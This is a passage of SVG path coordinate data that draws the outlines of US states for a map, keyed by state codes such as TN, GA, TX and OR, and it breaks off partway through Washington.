-0.96996,-1.29328 0.48498,-0.48498 2.10159,-0.16166 1.77826,0.8083 1.93993,2.42491 0.96996,2.90989 0.32332,2.4249 -4.20317,1.45495 -3.87985,1.93992 -3.87985,4.5265 -1.93993,1.45494 0,-0.96996 2.42491,-1.45495 0.48498,-1.77826 -0.8083,-3.07155 -2.90989,1.45494 -0.8083,1.45495 0.48498,2.26324 -2.06633,1.00043 -2.7472,-4.52713 -3.39488,-4.36484 -2.0705,-1.81247 -6.53327,1.8762 -5.09233,1.05079 -20.67516,4.59221 -0.66776,-4.76785 0.64664,-10.58877 4.28927,-0.88914 6.78975,-1.2933 z",TN:"m 696.67788,318.25411 -51.89309,5.01149 -15.75956,1.77826 -4.6212,0.51271 -3.86835,-0.0277 -0.22097,4.10083 -8.18538,0.26401 -6.95141,0.64664 -8.09083,-0.12386 -1.41378,7.07286 -1.69623,5.48005 -3.29317,2.75084 -1.34874,4.38106 -0.32332,2.58657 -4.04152,2.26324 1.45494,3.55654 -0.96996,4.36484 -0.96838,0.78965 108.15855,-10.40755 0.40327,-3.95494 1.81073,-1.49039 2.83415,-0.74945 0.67193,-3.71698 4.0986,-2.70496 4.04693,-1.49403 4.08358,-3.57033 4.43609,-2.02546 0.52126,-3.06735 4.0646,-3.98499 0.5508,-0.11417 c 0,0 0.0312,1.13162 0.83955,1.13162 0.8083,0 1.93993,0.35457 1.93993,0.35457 l 2.26325,-3.58779 2.07034,-0.64664 2.27511,0.29521 1.59831,-3.53286 2.95525,-2.64391 0.42168,-1.93911 0.30896,-3.71115 -2.14655,-0.19977 -2.60168,2.02833 -6.99331,0.0291 -18.35929,2.38682 -8.06109,1.9082 z",AR:"m 593.82477,343.05296 -3.97988,0.7167 -5.11215,-0.63403 0.4207,-1.60207 2.97975,-2.56669 0.94338,-3.65625 -1.82898,-2.9721 -78.41757,2.51485 1.60036,6.85869 -1e-5,8.23042 1.37175,10.97399 0.22862,37.83693 2.28623,1.94329 2.97209,-1.37173 2.74348,1.14311 0.68034,6.5733 55.62126,-1.1406 1.14563,-2.09037 -0.28662,-3.54951 -1.82563,-2.9721 1.59869,-1.48521 -1.59869,-2.5115 0.6842,-2.50983 1.36839,-5.60543 2.51819,-2.06263 -0.68587,-2.28456 3.65797,-5.37179 2.74347,-1.36839 -0.11348,-1.49358 -0.34544,-1.82564 2.85695,-5.59873 2.40304,-1.25659 0.38413,-3.42763 1.77067,-1.2417 -3.14352,-0.48427 -1.34146,-4.01044 2.80408,-2.37671 0.55026,-2.0192 1.27948,-4.04661 1.06619,-3.25539 z",MO:"m 558.44022,248.11316 -2.51987,-3.08725 -1.14312,-2.28623 -64.35723,2.40054 -2.28626,0.11431 1.25743,2.51485 -0.22862,2.28622 2.51484,3.88659 3.0864,4.11521 3.08641,2.74347 2.16123,0.22862 1.49673,0.9145 0,2.97209 -1.82897,1.60036 -0.45726,2.28622 2.05761,3.42935 2.51486,2.97209 2.51484,1.82898 1.37173,11.65975 0.31414,36.07221 0.22862,4.68675 0.45724,5.38351 22.43299,-0.86682 23.20603,-0.68587 20.80466,-0.80101 11.65474,-0.2303 2.1694,3.426 -0.68419,3.3075 -3.08725,2.40304 -0.57239,1.83734 5.37849,0.45726 3.89496,-0.68588 1.71718,-5.49363 0.65142,-5.85679 2.09803,-2.55516 2.59603,-1.48689 0.0514,-3.05024 1.01602,-1.93648 -1.69423,-2.54377 -1.33093,0.98426 -1.99262,-2.22724 -1.28503,-4.759 0.80101,-2.5182 -1.94413,-3.42766 -1.83064,-4.5758 -4.79941,-0.79934 -6.9688,-5.59875 -1.71886,-4.11353 0.79935,-3.20072 2.05927,-6.05767 0.45892,-2.86363 -1.94914,-1.03131 -6.85534,-0.79767 -1.02797,-1.71216 -0.1118,-4.23036 -5.48694,-3.43101 -6.97551,-7.7715 -2.28622,-7.31593 -0.23029,-4.22532 0.80101,-2.2879 z",GA:"m 672.29229,355.5518 0,2.18242 0.16166,2.1016 0.64664,3.39487 3.39488,7.92137 2.42491,9.86131 1.45494,6.14311 1.61661,4.84981 1.45495,6.95141 2.10159,6.30477 2.58657,3.39488 0.48498,3.39487 1.93993,0.8083 0.16166,2.1016 -1.77827,4.84981 -0.48498,3.23322 -0.16166,1.93993 1.61661,4.36484 0.32332,5.3348 -0.80831,2.42491 0.64665,0.80831 1.45495,0.8083 0.2047,3.21809 2.23301,3.34953 2.25044,2.16205 7.92138,0.16166 10.81975,-0.64664 21.51239,-1.29328 5.44572,-0.67437 4.57725,0.0277 0.16166,2.90989 2.58657,0.8083 0.32332,-4.36484 -1.61661,-4.5265 1.13163,-1.6166 5.81978,0.8083 4.97741,0.31778 -0.77542,-6.29879 2.26324,-10.02295 1.45495,-4.20318 -0.48499,-2.58656 3.33441,-6.2443 -0.5103,-1.35168 -1.91341,0.70458 -2.58656,-1.2933 -0.64665,-2.10159 -1.29328,-3.55653 -2.26326,-2.10159 -2.58656,-0.64664 -1.61661,-4.84982 -2.92501,-6.335 -4.20317,-1.93993 -2.1016,-1.93993 -1.29329,-2.58657 -2.10158,-1.93993 -2.26325,-1.29329 -2.26325,-2.90989 -3.07155,-2.26324 -4.52651,-1.77828 -0.48498,-1.45494 -2.42491,-2.90989 -0.48498,-1.45495 -3.39488,-4.97048 -3.51987,0.0992 -3.75491,-2.35614 -1.41828,-1.29328 -0.32332,-1.77827 0.8708,-1.93992 2.22664,-1.11014 -0.63394,-2.09722 -41.86975,4.98893 z",SC:"m 764.94328,408.16488 -1.77706,0.9695 -2.58657,-1.29329 -0.64664,-2.10159 -1.29328,-3.55653 -2.26326,-2.1016 -2.58657,-0.64664 -1.6166,-4.84981 -2.74824,-5.98145 -4.20317,-1.93994 -2.1016,-1.93992 -1.29328,-2.58657 -2.10159,-1.93994 -2.26325,-1.29328 -2.26325,-2.90989 -3.07155,-2.26324 -4.52651,-1.77828 -0.48498,-1.45494 -2.4249,-2.90989 -0.48499,-1.45496 -3.39488,-5.17313 -3.39487,0.16166 -4.04152,-2.42492 -1.29328,-1.29328 -0.32332,-1.77827 0.8083,-1.93992 2.26325,-0.96998 -0.51082,-2.28908 5.7681,-2.33657 9.1155,-4.589 7.77473,-0.80831 16.1144,-0.42248 2.63825,1.87743 1.6791,3.35822 4.30235,-0.60998 12.60953,-1.45496 2.90989,0.80831 12.60954,7.59806 10.10808,8.12168 -5.42117,5.45834 -2.58657,6.1431 -0.48498,6.30476 -1.6166,0.8083 -1.13163,2.74823 -2.4249,0.64664 -2.10159,3.55653 -2.74823,2.74823 -2.26324,3.39487 -1.61661,0.8083 -3.55653,3.39487 -2.90989,0.16166 0.96997,3.23321 -5.01148,5.49646 -2.10159,1.29328 z",KY:"m 725.9944,295.2707 -2.29332,2.40168 -3.57819,3.99404 -4.92455,5.46467 -1.21577,1.71577 -0.0625,2.10158 -4.37986,2.16409 -5.65812,3.39488 -7.23187,1.79885 -51.86789,4.89886 -15.75956,1.77826 -4.6212,0.51271 -3.86835,-0.0277 -0.22695,4.22028 -8.17941,0.14456 -6.95141,0.64664 -7.98748,-0.0602 1.20778,-1.32008 2.49954,-1.54085 0.22863,-3.20073 0.91449,-1.82898 -1.60682,-2.5389 0.80183,-1.90681 2.26326,-1.77826 2.10158,-0.64665 2.74823,1.29329 3.55654,1.29328 1.13163,-0.32332 0.16166,-2.26325 -1.29329,-2.42491 0.32332,-2.26325 1.93993,-1.45494 2.58658,-0.64665 1.6166,-0.64664 -0.8083,-1.77827 -0.64664,-1.93993 1.50662,-0.9958 c 0.003,-0.0371 1.25396,-3.52229 1.23829,-3.65781 l 3.05322,-1.47868 5.31979,-0.96996 4.49404,-0.48498 1.39244,1.62743 1.52827,0.8708 1.59077,-3.10821 3.18708,-1.28262 2.20509,1.48403 0.41056,0.99904 1.17352,-0.26401 -0.16167,-2.95293 3.13087,-1.74919 2.14809,-1.07348 1.52936,1.66081 3.31815,-0.0442 0.58733,-1.57125 -0.36751,-2.26324 2.60053,-3.9985 4.77655,-3.4379 0.70595,-4.83586 2.92502,-0.45591 3.79146,-1.64568 2.44332,-1.70824 -0.19833,-1.56493 -1.14245,-1.45494 0.56582,-2.99491 4.18485,-0.1175 2.29991,-0.7458 3.34739,1.4291 2.05411,4.36484 5.13229,0.0108 2.05101,2.20819 1.61545,-0.1477 2.60169,-1.27817 5.23706,0.57337 2.57492,0.21751 1.68758,-2.05624 2.61795,-1.42588 1.88178,-0.7071 0.64664,2.83663 2.04343,1.05834 2.64276,2.08249 0.11747,5.67324 0.8083,1.57241 2.58972,1.55628 0.77164,2.29451 4.15989,3.43694 1.80531,3.62324 2.45655,1.65852 z",AL:"m 631.30647,460.41572 -1.4906,-14.3215 -2.74824,-18.75264 0.16166,-14.06449 0.8083,-31.03885 -0.16166,-16.65106 0.16509,-6.41906 44.48448,-3.61945 -0.1478,2.18242 0.16166,2.1016 0.64665,3.39487 3.39488,7.92137 2.4249,9.86131 1.45495,6.14311 1.6166,4.84982 1.45496,6.95141 2.10158,6.30476 2.58657,3.39489 0.48498,3.39486 1.93994,0.80831 0.16166,2.10159 -1.77828,4.84982 -0.48498,3.23322 -0.16166,1.93992 1.61662,4.36485 0.32332,5.33479 -0.80832,2.42492 0.64666,0.8083 1.45494,0.8083 0.32814,2.88882 -5.59766,-0.35355 -6.78975,0.64665 -25.5424,2.90988 -10.41156,1.40677 -0.22138,2.8774 1.77827,1.77827 2.58657,1.93992 0.58086,7.93544 -5.54206,2.5729 -2.74822,-0.32332 2.74822,-1.93993 0,-0.96996 -3.07154,-5.98144 -2.26325,-0.64664 -1.45495,4.36483 -1.29328,2.74823 -0.64664,-0.16166 -2.74823,0 z",LA:"m 607.96706,459.16125 -3.28461,-3.16614 1.00991,-5.50023 -0.66135,-0.89308 -9.26167,1.00656 -25.02832,0.45892 -0.68419,-2.39468 0.91281,-8.4557 3.31588,-5.94585 5.03136,-8.69102 -0.57407,-2.39802 1.25659,-0.68085 0.45893,-1.95249 -2.28624,-2.05593 -0.11179,-1.94245 -1.83066,-4.34551 -0.14705,-6.3386 -55.47379,0.92397 0.0286,9.57357 0.68587,9.37353 0.68587,3.88658 2.51485,4.11521 0.91449,5.02971 4.34383,5.48693 0.22862,3.20072 0.68587,0.68587 -0.68587,8.45904 -2.97209,5.02969 1.60036,2.05761 -0.68588,2.51484 -0.68586,7.31593 -1.37174,3.20071 0.12246,3.61645 4.68648,-1.52015 12.11335,0.20701 10.34627,3.55653 6.46642,1.13163 3.71819,-1.45495 3.23321,1.13163 3.23321,0.96996 0.8083,-2.10159 -3.23321,-1.13162 -2.58657,0.48498 -2.74823,-1.6166 c 0,0 0.16167,-1.29329 0.80831,-1.45495 0.64664,-0.16166 3.07155,-0.96996 3.07155,-0.96996 l 1.77826,1.45494 1.77827,-0.96996 3.23321,0.64664 1.45494,2.42491 0.32332,2.26325 4.52649,0.32332 1.77827,1.77826 -0.8083,1.61661 -1.29329,0.8083 1.61661,1.6166 8.40634,3.55653 3.55653,-1.29328 0.96997,-2.42491 2.58656,-0.64664 1.77827,-1.45494 1.29328,0.96996 0.8083,2.90989 -2.26324,0.8083 0.64664,0.64664 3.39487,-1.29328 2.26325,-3.39487 0.8083,-0.48498 -2.10159,-0.32332 0.8083,-1.61661 -0.16166,-1.45494 2.10159,-0.48498 1.13162,-1.29329 0.64664,0.8083 c 0,0 -0.16166,3.07155 0.64665,3.07155 0.8083,0 4.20317,0.64665 4.20317,0.64665 l 4.04151,1.93992 0.96996,1.45495 2.90989,0 1.13163,0.96996 2.26324,-3.07155 0,-1.45495 -1.29328,0 -3.39487,-2.74822 -5.81978,-0.80831 -3.23321,-2.26324 1.13163,-2.74823 2.26324,0.32332 0.16166,-0.64664 -1.77826,-0.96996 0,-0.48499 3.23321,0 1.77826,-3.07154 -1.29328,-1.93993 -0.32332,-2.74823 -1.45495,0.16166 -1.93992,2.10159 -0.64664,2.58657 -3.07155,-0.64665 -0.96997,-1.77826 1.77827,-1.93993 1.90333,-3.4456 -1.0611,-2.41227 -1.16564,-3.98133 z",MS:"m 631.55882,459.34458 -0.25426,1.25615 -5.17314,0 -1.45494,-0.8083 -2.10159,-0.32332 -6.78974,1.93992 -1.77826,-0.8083 -2.58657,4.20317 -1.10254,0.77802 -1.12383,-2.48798 -1.14312,-3.88659 -3.42933,-3.20071 1.1431,-5.54455 -0.68586,-0.91449 -1.82898,0.22862 -7.91792,0.87337 -24.5465,0.37337 -0.76974,-2.22536 0.87337,-8.3768 3.11684,-5.67281 5.22707,-9.1449 -0.44574,-2.4326 1.23686,-0.65625 0.43587,-1.91947 -2.31748,-2.07898 -0.11512,-2.14148 -1.83572,-4.12109 -0.109,-5.96277 1.32753,-2.48097 -0.2233,-3.41575 -1.76949,-3.08259 1.52642,-1.48221 -1.57061,-2.49954 0.45725,-1.65221 1.5774,-6.52637 2.48595,-2.03635 -0.64167,-2.36697 3.65797,-5.30253 2.83186,-1.35642 -0.22097,-1.67516 -0.28813,-1.6811 2.87606,-5.56767 2.34572,-1.23151 0.15163,-0.89301 37.34348,-3.88117 0.18486,6.28333 0.16166,16.65106 -0.8083,31.03885 -0.16166,14.06449 2.74824,18.75264 1.48437,13.39529 z",IA:"m 569.19154,199.5843 0.26438,2.7862 2.22372,0.57726 0.95394,1.22533 0.50001,1.85536 3.79284,3.35865 0.68587,2.3915 -0.67434,3.42447 -1.58231,3.23198 -0.79934,2.74179 -2.17275,1.60204 -1.71551,0.5724 -5.57902,1.8602 -1.39146,3.84869 0.72864,1.37174 1.84051,1.68259 -0.28293,4.03629 -1.76315,1.53786 -0.77141,1.64314 0.12722,2.77632 -1.88631,0.45724 -1.62545,1.10491 -0.27879,1.35263 0.27879,2.11492 -1.55102,1.11607 -2.47053,-3.13328 -1.26257,-2.44987 -65.73582,2.51485 -0.91803,0.16544 -2.0524,-4.51596 -0.22862,-6.63007 -1.60036,-4.11521 -0.68586,-5.25831 -2.28623,-3.65797 -0.91448,-4.80107 -2.74348,-7.54455 -1.14311,-5.37264 -1.37174,-2.17191 -1.60036,-2.74346 1.95398,-4.84383 1.37174,-5.71557 -2.74347,-2.05761 -0.45725,-2.74347 0.9145,-2.51485 1.71467,0 82.654,-1.26948 0.83426,4.18312 2.25218,1.56097 0.25671,1.42309 -2.02954,3.38931 0.19041,3.20552 2.51486,3.7982 2.52679,1.29362 3.07928,0.50305 0.65834,0.83236 z",MN:"m 475.23781,128.82439 -0.45725,-8.45904 -1.82898,-7.31592 -1.82898,-13.488725 -0.45725,-9.830778 -1.82898,-3.429343 -1.60036,-5.029695 0,-10.28802 0.68586,-3.886587 -1.82093,-5.451667 30.13242,0.03527 0.32332,-8.244684 0.64664,-0.161661 2.26325,0.484982 1.93992,0.808302 0.8083,5.496456 1.45495,6.143098 1.6166,1.616605 4.84982,0 0.32332,1.454944 6.30476,0.323321 0,2.101586 4.84981,0 0.32332,-1.293284 1.13162,-1.131623 2.26325,-0.646642 1.29328,0.969963 2.90989,0 3.87985,2.586567 5.3348,2.424907 2.42491,0.484982 0.48498,-0.969963 1.45494,-0.484982 0.48498,2.909889 2.58657,1.293284 0.48498,-0.484982 1.29329,0.161661 0,2.101586 2.58656,0.969963 3.07155,0 1.61661,-0.808303 3.23321,-3.233209 2.58656,-0.484981 0.80831,1.778265 0.48498,1.293283 0.96996,0 0.96996,-0.808302 8.89133,-0.323321 1.77826,3.071549 0.64665,0 0.71361,-1.084279 4.43991,-0.370665 -0.6121,2.279459 -3.93872,1.837125 -9.24578,4.061128 -4.77474,2.006897 -3.07155,2.586568 -2.42491,3.55653 -2.26324,3.879851 -1.77827,0.808304 -4.52649,5.01147 -1.29329,0.16166 -4.32778,2.75712 -2.46288,3.20511 -0.22862,3.19139 0.0944,8.04335 -1.37604,1.68875 -5.08154,3.75997 -2.23008,5.98241 2.87175,2.23371 0.67989,3.22698 -1.85524,3.23893 0.17079,3.74802 0.36886,6.7304 3.02825,3.00199 3.329,0 1.89111,3.1326 3.37917,0.50327 3.85916,5.67147 7.08729,4.11675 2.14315,2.87512 0.67115,6.43951 -81.2115,1.14479 -0.33792,-35.67685 -0.45724,-2.97209 -4.11521,-3.42934 -1.14312,-1.82898 0,-1.60037 2.0576,-1.60035 1.37174,-1.37174 0.22863,-3.20072 z",OK:"m 380.34313,320.82146 -16.68418,-1.27331 -0.88022,10.95243 20.46538,1.15688 32.05555,1.3036 -2.3346,24.41865 -0.45725,17.83257 0.22863,1.60036 4.34383,3.65796 2.0576,1.14311 0.68587,-0.22862 0.68587,-2.05761 1.37174,1.82899 2.0576,0 0,-1.37174 2.74347,1.37174 -0.45724,3.88658 4.11521,0.22862 2.51484,1.14312 4.11521,0.68587 2.51485,1.82898 2.28623,-2.0576 3.42934,0.68586 2.51485,3.42934 0.91448,0 0,2.28623 2.28623,0.68586 2.28622,-2.28622 1.82899,0.68586 2.51484,0 0.9145,2.51486 6.30107,2.07897 1.37174,-0.68586 1.82898,-4.11521 1.14311,0 1.14312,2.0576 4.11521,0.68587 3.65795,1.37174 2.9721,0.91449 1.82899,-0.91449 0.68586,-2.51485 4.34383,0 2.0576,0.91449 2.74347,-2.05761 1.14312,0 0.68587,1.60036 4.1152,0 1.60036,-2.0576 1.82899,0.45724 2.0576,2.51486 3.20071,1.82897 3.20073,0.9145 1.94108,1.11893 -0.3891,-37.21701 -1.37175,-10.97398 -0.16046,-8.87234 -1.43989,-6.53773 -0.7782,-7.17964 -0.0681,-3.81622 -12.13684,0.31874 -46.41004,-0.45724 -45.03891,-2.05762 -24.2912,-1.37173 z",TX:"m 361.46423,330.57358 22.69079,1.08594 31.09269,1.14312 -2.33461,23.4558 -0.29676,18.15352 0.0681,2.08179 4.34383,3.81843 1.98665,1.44716 1.18421,-0.55969 0.37337,-1.81772 1.14032,1.80362 2.11164,0.0439 -0.003,-1.44709 1.66994,0.96727 1.1387,0.40887 -0.35927,3.96765 4.08819,0.0935 2.92532,1.19717 3.95474,0.52538 2.38138,2.07898 2.1241,-2.07617 3.72494,0.61491 2.22091,3.22494 1.07496,0.32096 -0.16047,1.96527 2.21361,0.79229 2.33015,-2.0548 2.13302,0.61492 2.22938,0.0355 0.93307,2.43544 6.32809,2.11445 1.59305,-0.76693 1.48947,-4.17771 0.34072,0 0.90649,0.0816 1.22905,2.06863 3.92988,0.66528 3.337,1.12288 3.42563,1.19597 1.84058,-0.975 0.71376,-2.51484 4.45322,0.0442 1.80874,0.93078 2.79925,-2.10651 1.10364,0.0442 0.85104,1.60507 4.05472,0 1.51887,-2.02862 1.86737,0.40724 1.94603,2.40328 3.52057,2.04415 2.85876,0.80981 1.51362,0.79984 2.4467,1.99732 3.04304,-1.32779 2.69109,1.13888 0.56381,6.10594 -0.0398,9.70217 0.68586,9.53401 0.70218,3.60511 2.67533,4.41986 0.89818,4.95073 4.21595,5.53802 0.19602,3.14494 0.74637,0.78584 -0.73007,8.38007 -2.8721,5.0065 1.53297,2.15287 -0.63008,2.33808 -0.66957,7.40432 -1.50432,3.338 0.29488,3.50235 -5.66488,1.58518 -9.86129,4.5265 -0.96996,1.93992 -2.58657,1.93993 -2.10158,1.45494 -1.29329,0.8083 -5.65811,5.3348 -2.74823,2.10159 -5.3348,3.2332 -5.65811,2.42491 -6.30476,3.39487 -1.77826,1.45495 -5.81978,3.55653 -3.39487,0.64664 -3.87985,5.49645 -4.04151,0.32333 -0.96997,1.93992 2.26325,1.93993 -1.45495,5.49645 -1.29328,4.5265 -1.13162,3.87985 -0.8083,4.52649 0.8083,2.42491 1.77826,6.9514 0.96997,6.14309 1.77826,2.74823 -0.96996,1.45495 -3.07155,1.93992 -5.65812,-3.87985 -5.49645,-1.13162 -1.29329,0.48498 -3.23321,-0.64664 -4.20317,-3.07155 -5.17313,-1.13162 -7.59805,-3.39487 -2.10158,-3.87986 -1.29329,-6.46641 -3.2332,-1.93993 -0.64665,-2.26325 0.64665,-0.64664 0.32332,-3.39487 -1.29329,-0.64664 -0.64664,-0.96996 1.29328,-4.36484 -1.6166,-2.26324 -3.23321,-1.29329 -3.39487,-4.36483 -3.55653,-6.62808 -4.20317,-2.58657 0.16166,-1.93992 -5.3348,-12.2862 -0.8083,-4.20317 -1.77826,-1.93992 -0.16166,-1.45495 -5.98144,-5.33479 -2.58657,-3.07155 0,-1.13163 -2.58657,-2.10158 -6.78974,-1.13163 -7.43638,-0.64664 -3.07155,-2.26324 -4.52649,1.77826 -3.55653,1.45495 -2.26325,3.2332 -0.96996,3.7182 -4.36483,6.14309 -2.42491,2.42491 -2.58657,-0.96996 -1.77826,-1.13163 -1.93993,-0.64664 -3.87985,-2.26324 0,-0.64665 -1.77826,-1.93992 -5.17314,-2.10159 -7.43638,-7.7597 -2.26325,-4.68815 0,-8.08303 -3.23321,-6.46642 -0.48498,-2.74822 -1.6166,-0.96997 -1.13163,-2.10158 -5.01147,-2.10159 -1.29328,-1.6166 -7.11307,-7.92137 -1.29328,-3.23321 -4.68816,-2.26325 -1.45495,-4.36487 -2.58659,-2.90987 -1.93991,-0.48496 -0.64923,-4.67764 8.00187,0.68589 29.03499,2.74345 29.03508,1.60036 2.23353,-19.46182 3.88655,-55.55502 1.60039,-18.74732 1.37174,0.0286 m 99.02935,229.66274 -0.56581,-7.11308 -2.74824,-7.19392 -0.56582,-7.03225 1.53578,-8.24471 3.31406,-6.87059 3.4757,-5.41565 3.1524,-3.55655 0.64664,0.2425 -4.769,6.6281 -4.36484,6.54728 -2.02077,6.62809 -0.32332,5.17316 0.88913,6.14312 2.58658,7.19392 0.48498,5.17314 0.16166,1.45496 -0.88913,0.24248 z",NM:"m 288.15255,424.01315 -0.77541,-4.7481 8.64378,0.5254 30.17176,2.9459 27.26816,1.68989 2.21527,-18.70747 3.85736,-55.87597 1.73768,-19.38923 1.5717,0.12856 0.8254,-11.16339 -104.00445,-10.63595 -17.49735,120.43481 15.46067,1.98915 1.29328,-10.02295 29.23215,2.82935 z",KS:"m 507.88059,324.38028 -12.61826,0.20443 -46.08909,-0.45723 -44.55748,-2.05763 -24.62974,-1.25741 3.89379,-64.59497 22.08346,0.67517 40.28913,0.8414 44.30124,0.98758 5.09563,0 2.1844,2.1624 2.01766,-0.0214 1.6403,1.01247 -0.0625,3.00923 -1.82898,1.72537 -0.33225,2.23217 1.84308,3.40233 2.95236,3.19506 2.32735,1.61446 1.30077,11.24082 0.18913,36.08573 z",NE:"m 486.09787,240.70058 3.23061,7.01991 -0.12863,2.30252 3.45922,5.49388 2.71929,3.15234 -5.04948,0 -43.48256,-0.93868 -40.78686,-0.8903 -22.25222,-0.78387 1.07277,-21.32785 -32.31824,-2.92025 4.34383,-44.00986 15.54633,1.02881 20.11879,1.1431 17.83257,1.14312 23.77676,1.14311 10.74526,-0.45724 2.0576,2.28622 4.80108,2.9721 1.14311,0.91449 4.34383,-1.37174 3.88659,-0.45724 2.74347,-0.22863 1.82898,1.37174 4.05743,1.60036 2.97209,1.60036 0.45725,1.60036 0.91449,2.0576 1.82898,0 0.79798,0.0462 0.89423,4.68182 2.92026,8.46792 0.57253,3.75671 2.52349,3.77425 0.56959,5.11414 1.60724,4.24037 0.25234,6.47426 z",SD:"m 476.44687,204.02465 -0.0474,-0.58087 -2.89571,-4.84544 1.86023,-4.71211 1.49273,-5.88654 -2.78187,-2.07971 -0.38516,-2.74346 0.7924,-2.55435 3.18851,0.0152 -0.12308,-5.00614 -0.3333,-30.17425 -0.61773,-3.76758 -4.07232,-3.33093 -0.98263,-1.67696 -0.0625,-1.60882 2.02212,-1.5294 1.53222,-1.66567 0.24496,-2.65679 -58.25709,-1.60035 -54.79921,-3.44909 -5.32527,63.69119 14.59027,0.9038 19.94985,1.20561 17.74305,0.92859 23.77676,1.30358 11.9827,-0.42464 1.9663,2.24518 5.19464,3.25335 0.76389,0.72275 4.54144,-1.45281 6.54054,-0.61491 1.6753,1.33627 4.20451,1.59613 2.94506,1.63583 0.39898,1.48381 1.03949,2.24088 2.23737,-0.20136 z",ND:"m 475.30528,128.91846 -0.61491,-8.43367 -1.67695,-6.81592 -1.89149,-13.02422 -0.45724,-10.987026 -1.73946,-3.077142 -1.75661,-5.194396 0.0312,-10.44427 0.62336,-3.824087 -1.8341,-5.467761 -28.64225,-0.564027 -18.59095,-0.646642 -26.51232,-1.293284 -22.94634,-2.133869 -6.99324,67.176834 54.93224,3.34365 58.06901,1.38583 z",WY:"m 360.37668,143.27587 -106.7426,-13.45706 -14.08348,88.45803 113.26461,13.58549 7.56147,-88.58646 z",MT:"M 369.20952,56.969133 338.5352,54.1613 l -29.26055,-3.55653 -29.26054,-4.041512 -32.3321,-5.334795 -18.42929,-3.39487 -32.72365,-6.932736 -4.47902,21.347532 3.42934,7.544541 -1.37174,4.572452 1.82898,4.572451 3.20073,1.371739 4.62082,10.769453 2.6951,3.176523 0.45724,1.143118 3.42934,1.143118 0.45725,2.057593 -7.0873,17.603953 0,2.51485 2.51485,3.20071 0.91448,0 4.80107,-2.97209 0.68588,-1.14312 1.60036,0.68587 -0.22863,5.25832 2.74348,12.57425 2.97209,2.51484 0.91448,0.68587 1.82899,2.28622 -0.45725,3.42935 0.68587,3.42933 1.14312,0.9145 2.28622,-2.28623 2.74347,0 3.20072,1.60036 2.51485,-0.91449 4.11521,0 3.65795,1.60036 2.74348,-0.45725 0.45724,-2.9721 2.97209,-0.68586 1.37174,1.37174 0.45725,3.20071 1.42587,0.83464 1.88695,-11.03474 106.74567,13.42892 8.80221,-86.299157 z",CO:"m 380.03242,320.96457 4.90324,-86.32496 -113.38856,-12.64396 -12.21382,87.93916 120.69914,11.02976 z",ID:"m 148.47881,176.48395 8.77087,-35.22072 1.37174,-4.22952 2.51484,-5.94418 -1.25742,-2.28623 -2.51486,0.11431 -0.80017,-1.0288 0.45725,-1.14311 0.34292,-3.08641 4.45815,-5.48695 1.82898,-0.45724 1.14311,-1.14311 0.57156,-3.20072 0.91448,-0.68586 3.88659,-5.82988 3.88659,-4.34383 0.22862,-3.772268 -3.42934,-2.629163 -1.53555,-4.400983 13.62491,-63.341691 13.51759,2.528111 -4.40808,21.383013 3.56035,7.485352 -1.58111,4.66084 1.96985,4.641233 3.13822,1.255191 3.83534,9.556588 3.51269,4.437154 0.50725,1.143118 3.34095,1.143118 0.36885,2.097075 -6.97101,17.376092 -0.16518,2.56593 2.63112,3.3217 0.90508,-0.0489 4.91129,-3.0256 0.67742,-1.09497 1.56231,0.65886 -0.27844,5.35372 2.73925,12.58271 3.91783,3.17791 1.68118,2.16545 -0.71661,4.08386 1.06622,2.80741 1.06163,1.09128 2.47929,-2.35142 2.84816,0.0489 2.91925,1.3352 2.78002,-0.68193 3.79426,-0.16048 3.9789,1.60036 2.74348,-0.29676 0.49674,-3.03731 2.93259,-0.76483 1.26017,1.51591 0.44093,2.94496 1.42434,1.21321 -8.386,53.60866 c 0,0 -87.96599,-16.70061 -94.95939,-18.20435 z",UT:"m 259.49836,310.10509 -83.74903,-11.87225 20.58761,-112.54135 46.78031,8.74514 -1.4848,10.63042 -2.31162,13.17266 7.80769,0.92837 16.40652,1.80479 8.21097,0.85564 -12.24765,88.27658 z",AZ:"m 144.9112,382.62909 -2.62701,2.15833 -0.32332,1.45495 0.48498,0.96996 18.91427,10.66959 12.12454,7.59804 14.7111,8.56801 16.81269,10.02295 12.2862,2.42491 24.95116,2.70491 17.25561,-119.12707 -83.73563,-11.91725 -3.09239,16.41246 -1.60629,0.0153 -1.71467,2.62916 -2.51485,-0.11432 -1.25742,-2.74347 -2.74347,-0.34293 -0.9145,-1.14311 -0.91448,0 -0.9145,0.57156 -1.94329,1.0288 -0.1143,6.97298 -0.22864,1.71467 -0.57154,12.57424 -1.48605,2.17191 -0.57156,3.31503 2.74347,4.91539 1.25742,5.82988 0.80019,1.0288 1.0288,0.57156 -0.11432,2.28622 -1.60035,1.37173 -3.42934,1.71467 -1.94329,1.9433 -1.48605,3.65795 -0.57156,4.91539 -2.85778,2.74347 -2.0576,0.68587 0.13569,0.82988 -0.45725,1.71467 0.45725,0.80018 3.65796,0.57154 -0.57156,2.74348 -1.48605,2.17191 -3.77227,0.91449 z",NV:"m 196.39273,185.57552 -23.63891,128.82275 -1.83224,0.34915 -1.57276,2.40618 -2.37294,0.0107 -1.47195,-2.74347 -2.61847,-0.37842 -0.77092,-1.10763 -1.03783,-0.054 -2.77837,1.64429 -0.31026,6.78548 -0.36209,5.77717 -0.34857,8.59281 -1.4471,2.08916 -2.43892,-1.07403 -69.079886,-104.20119 18.989116,-67.58491 93.0921,20.66601 z",OR:"m 148.72184,175.53153 8.8497,-34.80151 1.05079,-4.22952 2.35437,-5.62323 -0.61551,-1.16288 -2.51486,-0.0462 -1.2816,-1.6707 0.45724,-1.46407 0.50341,-3.24688 4.45815,-5.48695 1.82898,-1.09915 1.14311,-1.14311 1.48604,-3.56563 4.04706,-5.6694 3.56563,-3.8624 0.22862,-3.451314 -3.26886,-2.468682 -1.78341,-4.642625 -12.66377,-3.61197 -15.08909,-3.54365 -15.43202,0.114306 -0.45724,-1.371729 -5.48695,2.057604 -4.45814,-0.571559 -2.40054,-1.600361 -1.25742,0.685875 -4.68676,-0.228632 -1.71467,-1.371729 -5.25832,-2.057604 -0.800182,0.114316 -4.34383,-1.486056 -1.943291,1.828983 -6.172812,-0.342927 -5.944183,-4.115209 0.685865,-0.80018 0.228621,-7.773173 -2.286225,-3.886577 -4.115208,-0.571559 -0.685865,-2.514847 -2.353932,-0.466565 -5.798525,2.058784 -2.263247,6.466418 -3.233209,10.022949 -3.23321,6.466419 -5.011474,14.064461 -6.466419,13.579473 -8.083023,12.60952 -1.939926,2.90989 -0.808302,8.568 0.386095,12.08023 112.578342,26.32133 z",WA:"m 102.07324,7.6117734 4.36483,1.4549443 9.69963,2.7482283 8.568,1.939925 20.0459,5.658117 